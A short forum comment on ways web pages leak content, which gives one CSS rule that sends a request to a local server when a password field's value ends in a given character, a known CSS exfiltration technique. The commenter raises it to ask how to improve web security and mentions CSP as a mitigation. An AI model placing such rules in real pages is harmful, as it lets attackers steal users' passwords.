Comment by antiman0

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors:

    input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }

How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.